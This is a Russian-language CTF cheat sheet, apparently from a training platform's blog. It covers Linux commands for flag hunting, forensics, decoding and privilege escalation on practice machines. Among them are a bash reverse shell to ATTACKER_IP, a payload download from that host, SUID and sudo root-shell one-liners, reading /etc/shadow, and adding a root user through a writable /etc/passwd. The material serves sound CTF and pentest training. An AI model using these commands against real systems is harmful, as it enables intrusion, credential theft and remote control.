
Forensics-задача на 300 очков, файл evidence.img весом 50 мегабайт. Один участник запускает цепочку file → binwalk -e → strings extracted/* | grep -oP 'flag\{.*?\}' и сдаёт флаг за полторы минуты. Другой открывает hex-редактор, скроллит байты и через двадцать минут сдаётся. Разница — не в таланте, а в наборе команд, отработанных до автоматизма.
Эта шпаргалка собрана по ходу решения нескольких сотен задач на HackTheBox, picoCTF и живых jeopardy-соревнованиях. Каждая команда привязана к конкретному сценарию: не «что делает», а «когда запускать и что искать в выводе».
Все команды работают в любом Linux-дистрибутиве с GNU coreutils: Kali, Parrot, Ubuntu, Arch. Минимум — bash-терминал и 2 ГБ RAM (хватит для подавляющего большинства CTF-машин). Для forensics-задач понадобятся binwalk, steghide, exiftool — в Kali предустановлены, в Ubuntu ставятся через apt. Для pwn-задач — Python-пакет pwntools, gdb с расширением peda, gef или pwndbg. Подробнее — в нашем подробном разборе linux для пентестера.
Применимо к jeopardy CTF (task-based), boot2root-машинам (HackTheBox, TryHackMe, VulnHub), ограниченно — к attack-defense. Команды описаны в порядке типичного CTF-workflow, который повторяет kill chain: получил доступ или файл → разведка (Discovery) → поиск и анализ → эскалация привилегий (Privilege Escalation) → захват флага.
В терминах MITRE ATT&CK описанные техники покрывают тактики Discovery (File and Directory Discovery T1083, System Information Discovery T1082, Process Discovery T1057), Credential Access (/etc/passwd и /etc/shadow T1003.008, Shell History T1552.003), Privilege Escalation (Setuid and Setgid T1548.001) и Execution (Unix Shell T1059.004). Те же паттерны один в один ложатся на реальный пентест внутренней инфраструктуры — так что навыки не одноразовые.
Получил шелл на машине или скачал файл задания — первое действие всегда одно: понять, с чем имеешь дело. Этот этап покрывает тактики File and Directory Discovery (T1083) и System Information Discovery (T1082).
file <имя_файла> определяет реальный тип файла по magic bytes, игнорируя расширение. На CTF расширение намеренно подменяют: image.png оказывается ZIP-архивом, а data.txt — ELF-бинарем. Запускай file на каждом полученном файле без исключений. Если сигнатура повреждена или отсутствует, результат будет data — тогда смотри первые байты через xxd <file> | head.
ls -la — полный листинг с правами, владельцем и скрытыми файлами. Флаг -a критичен: организаторы прячут подсказки в файлах .hidden, .secret, .flag. Обращай внимание на права: буква s вместо x в позиции прав владельца — SUID-бит, готовый вектор для эскалации. Директории с 777 — ещё один сигнал.
id и whoami — текущий пользователь и его группы. Членство в docker, lxd, disk, adm — прямые пути к root. Группа adm даёт доступ к логам в /var/log/, где попадаются пароли и токены в открытом виде.
uname -a и cat /etc/os-release — версия ядра и дистрибутива. На boot2root-машинах старое ядро (серия 3.x или ранние 4.x) намекает на kernel exploit. По этим данным сразу понятно, какие инструменты доступны и какие эксплойты стоит пробовать.
history и cat ~/.bash_history — история команд текущего и других пользователей (техника Shell History, T1552.003). В истории регулярно валяются пароли, переданные аргументами (mysql -u root -pS3cret), пути к конфигам и SSH-ключи. Не ограничивайся своим пользователем: cat /home/*/.bash_history 2>/dev/null пройдётся по всем домашним директориям.
Когда структура системы понятна, начинается целенаправленный поиск. Два основных инструмента — grep для поиска по содержимому и find для поиска по метаданным.
Универсальный поиск флага. На boot2root-машине после получения шелла запускай сразу:
grep -rE 'flag\{|HTB\{|CTF\{|THM\{|picoCTF\{' / 2>/dev/null
strings /path/to/binary | grep -iE 'flag|ctf|key|secret|password'
Первая строка ищет типичные форматы флагов по всей файловой системе. 2>/dev/null подавляет ошибки доступа. Вторая извлекает читаемые строки из бинарного файла и фильтрует подозрительные ключевые слова. Подход описан в cheat sheet-е Adamkadaban/CTFs и подтверждён на практике: на jeopardy-CTF такой паттерн закрывает заметную долю forensics-задач без дополнительного анализа. Тупо grep — и флаг в кармане.
Флаги grep, которые экономят время. -r — рекурсивный поиск, -i — без учёта регистра, -n — номера строк (ускоряет навигацию), -o — только совпавшая подстрока, -P — Perl-совместимые регулярные выражения (поддерживают .*? для нежадного сопоставления), -a — искать по бинарным файлам (без этого флага grep пропускает файлы, которые считает бинарными).
find по метаданным. Ищет файлы не по содержимому, а по свойствам: имени, размеру, правам, времени модификации. Основные паттерны для CTF:
| Команда | Что ищет | Сценарий |
|---|---|---|
find / -name "flag*" 2>/dev/null |
Файлы с «flag» в имени | Первая проверка на любой машине |
find / -name "*.bak" 2>/dev/null |
Резервные копии | Конфиги с паролями |
find / -user root -writable 2>/dev/null |
Файлы root, доступные на запись | Вектор для privesc |
find / -mmin -10 2>/dev/null |
Изменены за 10 минут | Свежие артефакты организаторов |
find / -type f -size +1M -size -50M |
Файлы 1-50 МБ | Дампы, образы, архивы |
find / -name ".git" -type d |
Git-репозитории | Утечки кода и секретов |
Ограничение: find / по всей файловой системе на машинах с большим числом файлов работает минутами. На CTF с таймером сначала проверяй типичные директории: find /home /opt /tmp /var/www /root -name "flag*" 2>/dev/null. Пусто — тогда расширяй.
strings -n 8 <файл> извлекает ASCII-строки длиной от 8 символов. По умолчанию порог — 4, что генерирует кучу шума. Увеличение до 8-10 отфильтровывает короткие бессмысленные последовательности, оставляя URL, пути, пароли. На reverse-задачах strings binary | grep -i pass нередко даёт ответ быстрее, чем загрузка в Ghidra. Серьёзно — попробуйте, прежде чем тянуться к дизассемблеру.
CTF-задания часто выдают данные в неудобном формате: логи с мусорными строками, CSV без заголовков, дампы с дублями. Конвейер из нескольких команд обработки текста — навык, который разделяет двухминутное решение и получасовой ручной разбор.
cat file | cut -d':' -f1 — вырезает первое поле, разделённое двоеточиями. Классика — извлечь имена пользователей из /etc/passwd (T1003.008, Credential Access). С другим разделителем: cut -d',' -f3 для третьего поля CSV.
sort | uniq -c | sort -rn — подсчёт уникальных строк с сортировкой по частоте. Применение: частотный анализ в crypto-задачах (подстановочный шифр), выявление аномалий в логах. Пример: cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn — IP-адреса, отсортированные по количеству запросов. Адрес с тысячей обращений на фоне остальных с десятком — аномалия торчит как гвоздь.
awk '{print $1, $7}' — вывести первое и седьмое поле каждой строки. В Apache-логах это IP и запрошенный URL. С произвольным разделителем: awk -F':' '{print $1, $6}' для /etc/passwd покажет имя пользователя и домашнюю директорию. Согласно GTFOBins (gtfobins.github.io/gtfobins/awk/), awk с SUID-битом даёт root-шелл через awk 'BEGIN {system("/bin/bash -p")}' — проверяй, если awk всплыл в выводе find / -perm -4000.
sed 's/old/new/g' — замена подстроки. На CTF: очистить HTML-теги из вывода curl, убрать escape-символы, подготовить данные для дальнейшего pipe.
tr 'A-Z' 'a-z' — транслитерация символов. ROT13 (частый приём в misc начального уровня): echo "Uryyb" | tr 'A-Za-z' 'N-ZA-Mn-za-m' вернёт «Hello». Удаление переносов строки перед обработкой: tr -d '\n'.
diff file1 file2 — построчное сравнение двух файлов. На CTF используется для поиска различий между «чистым» и «изменённым» конфигом, сравнения версий исходного кода. diff тоже отмечен на GTFOBins для чтения произвольных файлов при наличии SUID.
Ограничение: awk и sed имеют разные диалекты на GNU/Linux (GNU awk) и macOS (BSD awk). Скрипты, отлаженные на Mac, могут вести себя иначе на целевом Linux. На CTF это редко проблема — целевая система почти всегда Linux — но при подготовке инструментов на локальной машине учитывай.
Флаги и подсказки в CTF кодируют в base64, hex, octal, иногда в несколько слоёв. Задача — быстро распознать кодировку и размотать цепочку.
echo "..." | base64 -d — декодирование base64. Признаки base64-строки: символы из набора [A-Za-z0-9+/], длина кратна 4, заканчивается на = или ==. Встречается повсеместно: HTTP-заголовки, cookies, JWT-токены, переменные окружения, имена файлов. Пример: echo "ZmxhZ3t0ZXN0fQ==" | base64 -d вернёт flag{test}.
Согласно GTFOBins (gtfobins.github.io/gtfobins/base64/), бинарь base64 с SUID-битом позволяет прочитать любой файл в системе: base64 /etc/shadow | base64 -d. Встречается нечасто, но проверять стоит.
xxd <файл> — hex-дамп с ASCII-представлением справа. Обратное преобразование: xxd -r hex.txt > binary. Главное применение на CTF — проверка file signature (magic bytes): 89 50 4E 47 — PNG, 50 4B 03 04 — ZIP, 7F 45 4C 46 — ELF, FF D8 FF — JPEG. Если file говорит data, а xxd | head показывает знакомую сигнатуру с побитыми байтами — правишь через hexedit или printf и открываешь файл заново. На forensics-задачах этот трюк работает регулярно.
xxd -r -p — преобразование hex-строки без форматирования (plain) в бинарные данные: echo "666c61677b746573747d" | xxd -r -p вернёт flag{test}.
Цепочки декодирования. Организаторы любят многослойное кодирование: base64 → hex → base64 → rot13. Признак: результат декодирования base64 выглядит как hex-строка (только символы 0-9a-f). Разматывай послойно через pipe: echo "..." | base64 -d | xxd -r -p | base64 -d. Если очередной слой выдаёт нечитаемый мусор — скорее всего, данные зашифрованы (переходи к crypto-инструментам: openssl, CyberChef, скрипты на Python).
Ограничение: base64 -d не ругнётся на некорректный padding — молча выдаст мусор. Перед декодированием убирай пробелы и переносы: echo "..." | tr -d '\n ' | base64 -d. Привычка, которая экономит нервы на отладку.
На boot2root-машинах после получения начального шелла задача — добраться до root. Этот этап соответствует тактике Privilege Escalation и покрывается несколькими MITRE-техниками.
sudo -l — первая команда после id. Показывает, что текущий пользователь может запускать через sudo без пароля. Запись (ALL) NOPASSWD: /usr/bin/python3 — прямой путь к root: sudo python3 -c 'import os; os.system("/bin/bash")'. Каждый разрешённый бинарь проверяй на GTFOBins (gtfobins.github.io).
find / -perm -4000 -type f 2>/dev/null — поиск SUID-бинарей (Setuid and Setgid, T1548.001). Стандартные SUID-бинари (ping, passwd, su) безопасны. Нестандартные (python, vim, find, awk, base64, nmap, less) — каждый из них потенциальный вектор. Пример: awk с SUID даёт шелл через awk 'BEGIN {system("/bin/bash -p")}'. Флаг -p сохраняет effective UID при запуске bash.
/etc/passwd и /etc/shadow (T1003.008, Credential Access). Если /etc/shadow доступен на чтение (кривая конфигурация — на CTF встречается регулярно), хеши паролей можно вытащить и сбрутить через john или hashcat. Формат хеша: $6$salt$hash — SHA-512, $y$ — yescrypt. Другой вектор: если /etc/passwd доступен на запись — добавляешь пользователя с UID 0. Просто дописываешь строку — и ты root.
Cron-задачи. cat /etc/crontab и ls -la /etc/cron.d/ покажут запланированные задания. Если cron запускает скрипт, в который текущий пользователь может писать — заменяешь содержимое на reverse shell и ждёшь. Для мониторинга скрытых процессов (когда crontab пуст, но что-то явно крутится) используй pspy — перехватывает запуск процессов без root-привилегий.
# Минимальный чеклист привилегий — запускать сразу после шелла
id && whoami
sudo -l 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
cat /etc/crontab 2>/dev/null
ls -la /etc/cron.d/ 2>/dev/null
find / -writable -type f 2>/dev/null | grep -v proc | head -20
cat /home/*/.bash_history 2>/dev/null
Автоматизация. LinPEAS (проект PEASS-ng на GitHub, активно поддерживается) автоматизирует все проверки выше и десятки дополнительных. Но на CTF с offline-средой или узким каналом связи LinPEAS может быть недоступен — и проверять придётся руками. Потому знание отдельных команд обязательно, даже если в обычном режиме всё делает скрипт. Скрипт — костыль, голова — инструмент.
Ограничение: SUID-эскалация через GTFOBins работает только если бинарь имеет SUID-бит И принадлежит root. Проверяй ls -la /path/to/binary перед попыткой эксплуатации. На машинах с SELinux в enforcing-режиме или AppArmor с жёсткими профилями GTFOBins-техники могут не сработать даже при наличии SUID — и это нормально, просто переходи к следующему вектору.
Получение и стабилизация шелла — обязательный навык на boot2root-задачах. Команды ниже покрывают тактику Execution (Unix Shell, T1059.004).
nc -lvnp 4444 — запуск listener-а на стороне атакующего. На стороне цели: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. Это reverse shell через bash. Конструкция /dev/tcp/ работает только в bash, не в sh, dash или zsh. Если /bin/sh на целевой системе указывает на dash (как в Ubuntu по умолчанию) — бери альтернативу через python3 или nc -e /bin/bash (если на цели стоит netcat с поддержкой -e, что бывает не всегда).
Стабилизация шелла. Полученный через netcat шелл — «тупой»: нет Tab-дополнения, Ctrl+C убивает сессию, clear не работает. Паттерн стабилизации из cheat sheet-а uppusaikiran:
python3 -c "import pty; pty.spawn('/bin/bash')"
# Нажать Ctrl+Z
stty raw -echo; fg
export TERM=xterm
После этого шелл становится полностью интерактивным: автодополнение, Ctrl+C не разрывает соединение, доступны vi и nano. Разница — как между управлением машиной по рации и сидя за рулём.
python3 -m http.server 8000 — простейший HTTP-сервер для передачи файлов на цель. Запускаешь на своей машине в директории с нужными файлами, на цели скачиваешь через wget http://ATTACKER_IP:8000/linpeas.sh или curl -O http://ATTACKER_IP:8000/linpeas.sh.
ss -tlnp — активные сетевые соединения и слушающие порты. Сервис на 127.0.0.1:8080 — внутренний веб-интерфейс, недоступный снаружи. Доступ к нему — через SSH port forwarding: ssh -L 8080:127.0.0.1:8080 user@target. На CTF внутренние сервисы часто содержат дополнительные уязвимости или флаги.
ps aux — список запущенных процессов (Process Discovery, T1057). Обращай внимание на процессы от root: если root запускает скрипт из записываемой директории — вот он, вектор. Процессы с длинными аргументами могут содержать пароли (тот же паттерн, что и с history).
Forensics-категория на CTF — анализ файлов: образов дисков, дампов памяти, изображений с вложенными данными. Командная строка решает большинство таких задач быстрее любого GUI.
binwalk -e <файл> — извлечение вложенных файлов по сигнатурам. Классика: PNG-файл, в конец которого дописан ZIP-архив с флагом. binwalk обнаружит ZIP-сигнатуру и вытащит его в отдельную директорию. Без -e (просто binwalk <файл>) покажет список найденных сигнатур без извлечения — полезно для предварительной оценки, чтобы понять, что за матрёшка перед тобой.
exiftool <файл> — метаданные файла. EXIF-данные изображений могут содержать GPS-координаты (OSINT-задачи), имя автора (подсказка), или флаг прямо в поле Comment. Проверяй каждое изображение через exiftool — занимает секунду, а иногда закрывает задачу целиком.
steghide extract -sf image.jpg — извлечение стеганографически скрытых данных из JPEG и BMP. Без пароля — пробуй пустой ввод. Если требуется пароль — подсказка обычно в описании задачи или метаданных. Для словарного подбора есть stegseek — перебирает пароли на порядки быстрее ручных попыток.
ltrace -s 100 ./binary — трассировка библиотечных вызовов. На reverse-задачах показывает strcmp и memcmp с аргументами — строку, с которой сравнивается введённый пароль. Часто это и есть полный ответ, без необходимости открывать дизассемблер. Флаг -s 100 увеличивает максимальную длину отображаемых строк — без него ltrace обрезает длинные аргументы. Подход подтверждён в cheat sheet-е Adamkadaban/CTFs как один из первых шагов в reverse-категории. Я обычно с него и начинаю — зачем грузить Ghidra, если strcmp сам всё расскажет.
strace ./binary — трассировка системных вызовов. Показывает файлы, которые бинарь пытается открыть (open/openat), сетевые соединения (connect), операции записи (write). Если бинарь падает с segfault — strace покажет, на каком вызове и с какими аргументами.
Ограничение: binwalk не всегда точно определяет границы вложенных файлов — иногда извлекает битые данные. Если автоматика не справилась, бери dd с ручным указанием offset: dd if=file bs=1 skip=OFFSET count=SIZE of=extracted. Значение offset берёшь из вывода binwalk без флага -e.
| Этап | Команда | Назначение |
|---|---|---|
| Разведка | file <f> |
Реальный тип файла по magic bytes |
| Разведка | ls -la |
Полный листинг со скрытыми файлами и правами |
| Разведка | id && whoami |
Текущий пользователь и группы |
| Разведка | uname -a |
Версия ядра и ОС |
| Поиск | grep -rE 'flag\{' / 2>/dev/null |
Рекурсивный поиск флага по файловой системе |
| Поиск | find / -perm -4000 2>/dev/null |
SUID-бинари для эскалации привилегий |
| Поиск | find / -name "flag*" 2>/dev/null |
Файлы с «flag» в имени |
| Поиск | strings -n 8 <f> |
Читаемые строки из бинарного файла |
| Текст | awk '{print $1}' \| sort \| uniq -c |
Частотный анализ полей |
| Текст | cut -d':' -f1 /etc/passwd |
Извлечение поля по разделителю |
| Кодировки | echo "..." \| base64 -d |
Декодирование base64 |
| Кодировки | xxd <f> \| head |
Hex-дамп первых байтов для проверки сигнатуры |
| Privesc | sudo -l |
Доступные sudo-команды без пароля |
| Privesc | cat /etc/crontab |
Cron-задачи и записываемые скрипты |
| Privesc | cat ~/.bash_history |
История команд с паролями |
| Сеть | ss -tlnp |
Открытые порты и внутренние сервисы |
| Сеть | nc -lvnp 4444 |
Listener для reverse shell |
| Сеть | python3 -m http.server 8000 |
HTTP-сервер для передачи файлов |
| Forensics | binwalk -e <f> |
Извлечение вложенных файлов по сигнатурам |
| Forensics | ltrace -s 100 ./<f> |
Трассировка библиотечных вызовов |
Большинство CTF-игроков, за которыми я наблюдаю на соревнованиях, совершают одну системную ошибку: коллекционируют инструменты вместо того, чтобы учиться комбинировать базовые. Установить Ghidra, Burp, Volatility, Autopsy — дело десяти минут. Написать pipe из find, xargs, grep и awk, который за три секунды вытащит нужную строку из гигабайтного дампа — сложнее, и именно это решает задачи на скорость.
Unix-философия «одна программа делает одно действие, соединяй через pipe» — не абстракция из учебника, а рабочая методология. На командных jeopardy-CTF человек, который свободно пишет awk '{print $3}' | sort | uniq -c | sort -rn | head в реальном времени, закрывает forensics-категорию быстрее, чем двое с Wireshark и FTK Imager. Не потому что GUI-инструменты слабее — для сложного анализа памяти или сетевых дампов они мощнее. А потому что при лимите 24 часа на 30 задач скорость первичной обработки определяет итоговый счёт.
На каждом CTF одна и та же картина: команды, которые тратят первый час на настройку тяжёлых инструментов, проигрывают тем, кто открыл терминал и начал решать. Инвестиция в беглость с командной строкой окупается и за пределами CTF — те же навыки один в один ложатся на внутренний пентест, incident response и системное администрирование. Если хочешь отработать эти цепочки на практике — на HackerLab есть лабы с forensics и privesc, где можно гонять команды до автоматизма.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...